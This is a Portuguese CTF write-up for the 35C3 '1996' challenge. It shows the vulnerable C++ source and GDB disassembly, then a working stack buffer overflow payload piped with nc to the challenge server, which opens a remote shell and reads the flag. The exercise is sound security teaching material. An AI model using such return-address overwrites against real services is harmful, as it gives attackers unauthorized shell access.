1996

Posted by lynfs on December 29, 2018

You may find interesting:


BSides SF 2019 CTF - bWF0cnlvc2hrYQ==


Web

Nome: 1996 35C3 CTF

Dificuldade: Muito fácil

Descrição:

It’s 1996 all over again!
nc 35.207.132.47 22227

Levantamento de informações

Ao baixarmos e extrairmos o arquivo zip, obtemos 2 novos arquivos:

[email protected]:~/Downloads# unzip 1996-846a46384ff5d85d861c09fc49912def510336e0.zip

    Archive: 1996-846a46384ff5d85d861c09fc49912def510336e0.zip

    inflating: 1996.cpp

    inflating: 1996

Ao abrirmos o arquivo 1996.cpp, podemos ver o seguinte código:

// compile with -no-pie -fno-stack-protector

#include <iostream>
#include <unistd.h>
#include <stdlib.h>

using namespace std;

void spawn_shell() {
    char* args[] = {(char*)"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);
}

int main() {
    char buf[1024];

    cout << "Which environment variable do you want to read? ";
    cin >> buf;

    cout << buf << "=" << getenv(buf) << endl;
}
  • Observando o código acima, podemos ver que existe um buf com tamanho de 1024

Rodando o comando File no linux, obtemos as seguintes informações do binário:

    [email protected]:~/Downloads# file 1996
    1996: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0b17d4a3919a3b046b03d35e2fdba47cd94d6aef, not stripped

Solução

Utilizando o GDB, podemos visualizar o endereço da função spawn_shell( ) vista no código cpp:

(gdb) info functions
      all defined functions
      ...
      ...
      ...
      ...
      0x0000000000400897 spawn_shell( )

analisando a função principal do programa, definimos alguns breakpoints para iniciar a solução

(gdb) disas main
    
    Dump of assembler code for function main:
    0x00000000004008cd <+0>: push %rbp   
    0x00000000004008ce <+1>: mov %rsp,%rbp    
    0x00000000004008d1 <+4>: push %rbx    
    0x00000000004008d2 <+5>: sub $0x408,%rsp    
    0x00000000004008d9 <+12>: lea 0x188(%rip),%rsi # 0x400a68    
    0x00000000004008e7 <+26>: callq 0x400760 <[email protected]>    
    0x00000000004008ec <+31>: lea -0x410(%rbp),%rax   
    0x00000000004008f3 <+38>: mov %rax,%rsi  
    0x00000000004008f6 <+41>: lea 0x200883(%rip),%rdi # 0x601180 
    ...
    ...
    ...
    0x0000000000400959 <+140>: mov $0x0,%eax
    0x000000000040095e <+145>: add $0x408,%rsp    
    0x0000000000400965 <+152>: pop %rbx
    0x0000000000400966 <+153>: pop %rbp
    0x0000000000400967 <+154>: retq
     
    End of assembler dump.

(gdb) b * 0x0000000000400959 
     Breakpoint 1 at 0x0000000000400959 

Sabendo do tamanho do nosso buf, usamos o python para criar nosso Payload

r <<< $(python -c 'print "A" * 1040 + "B"*14')

Após alguns testes, obtemos o controle do registrador rip, responsável por obter o endereço da instrução seguinte.

 (gdb) info registers
rax 0x0  0    
rbx 0x4141414141414141  4702111234474983745    
rcx 0x7ffff7d582a4  140737351352996    
rdx 0x0  0    
rsi 0x7ffff7e288c0  140737352206528    
rdi 0x0  0    
rbp 0x4242424242424242  0x4242424242424242
rsp 0x7fffffffe1c0  0x7fffffffe1c0
r8 0x7ffff7e288c0  140737352206528
r9 0x7ffff7abfd00  140737348631808
r10 0x328  808
r11 0x246  582
r12 0x4007b0  4196272
r13 0x7fffffffe290  140737488347792
r14 0x0  0
r15 0x0  0
rip 0x424242424242  0x424242424242
eflags 0x10202 [ IF RF ]
cs 0x33  51  
ss 0x2b  43   
ds 0x0  0 
es 0x0  0
fs 0x0  0

Com isso, basta sobrescrevermos o endereço de rip por 0x0000000000400897, endereço da função spawn_shell( ).

r <<< $(python -c 'print "A"*1040 + "B"*8 + "\x97\x08\x40\x00\x00\x00"')
  • O endereço da função spawn_shell deve ser utilizado em Little Endian

Para enviarmos o Payload ao servidor, utilizamos o | para concatenar nossa linha de código com a conexão ao servidor.

(python -c 'print "A"*1040 + "B"*8 + "\x97\x08\x40\x00\x00\x00"') | nc 35.207.132.47 22227

Não obtemos erro, porém, a conexão é quebrada logo em seguida. Para corrigirmos isto, concatenamos ;cat à nossa linha de código. O cat fará com que o /bin/bash mantenha-se ativo enquanto estivermos conectados ao servidor

    (python -c 'print "A"*1040 + "B"*8 + "\x97\x08\x40\x00\x00\x00"';cat) | nc 35.207.132.47 22227
...
...
...

Wich environment variable do you want to read? AAAAAAAAAA
[email protected]=ls

1996
bin
boot
dev
etc
flag.txt
home
lib
....
cat flag.txt

Flag: 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14

Recomendações para entendimento geral